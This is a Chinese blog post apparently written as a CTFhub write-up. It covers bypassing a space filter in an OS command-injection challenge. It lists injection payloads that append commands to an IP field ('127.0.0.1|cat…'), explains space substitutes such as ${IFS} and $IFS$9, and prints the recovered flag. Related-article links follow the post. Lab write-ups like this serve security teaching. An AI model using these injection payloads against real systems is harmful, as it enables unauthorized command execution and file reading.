当前位置: 首页 > news >正文

CTFhub-RCE-过滤空格

1. 查看当前目录:127.0.0.1|ls

2.  查看 flag_890277429145.php

127.0.0.1|cat flag_890277429145.php

根据题目可以知道空格被过滤掉了 

 3.空格可以用以下字符代替:
< 、>、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

payload:

127.0.0.1|cat<flag_890277429145.php|base64

127.0.0.1|cat>flag_890277429145.php|base64

127.0.0.1|cat${IFS}flag_890277429145.php|base64

127.0.0.1|cat$IFS$9flag_890277429145.php|base64

base64 解密:

<?php // ctfhub{0f8603081311cfa9c7d1f760}

http://www.lryc.cn/news/234798.html

相关文章:

  • 无需添加udid,ios企业证书的自助生成方法
  • 【PTA题目】6-20 使用函数判断完全平方数 分数 10
  • Nas搭建webdav服务器并同步Zotero科研文献
  • 一句话总结敏捷实践中不同方法
  • 【数据结构】线段树(点修区查)
  • Ansys Lumerical | 用于增强现实系统的表面浮雕光栅
  • QT day3作业
  • 【Ubuntu】设置永不息屏与安装 dconf-editor
  • gRPC 的原理 介绍带你从头了解gRPC
  • Apriori算法
  • 肖sir__linux讲解(2.1)
  • The ultimate UI kit and design system for Figma 组件库下载
  • Selenium——利用input标签上传文件
  • C++初阶 日期类的实现(下)
  • 大师学SwiftUI第16章 - UIKit框架集成
  • 7.docker运行redis容器
  • unity教程
  • 未定义与 ‘double‘ 类型的输入参数相对应的函数 ‘Link‘
  • 为什么Transformer模型中使用Layer Normalization(Layer Norm)而不是Batch Normalization(BN)
  • Vite - 配置 - 文件路径别名的配置
  • phpStorm Xdebug调试 加FireFox浏览器
  • 多维时序 | MATLAB实现PSO-BiGRU-Attention粒子群优化双向门控循环单元融合注意力机制的多变量时间序列预测
  • linux配置固定ip(两种方法)
  • 什么是缓存雪崩、击穿、穿透?
  • 可以通过电脑远程控制安卓设备的软件
  • HP惠普暗影精灵9笔记本电脑OMEN by HP Transcend 16英寸游戏本16-u0000原厂Windows11系统
  • vue2+elementUI 仿照SPC开发CPK分析工具
  • 云ES使用集群限流插件(aliyun-qos)
  • 2023.11.17 hadoop之HDFS进阶
  • 如何在el-tree懒加载并且包含下级的情况下进行数据回显-01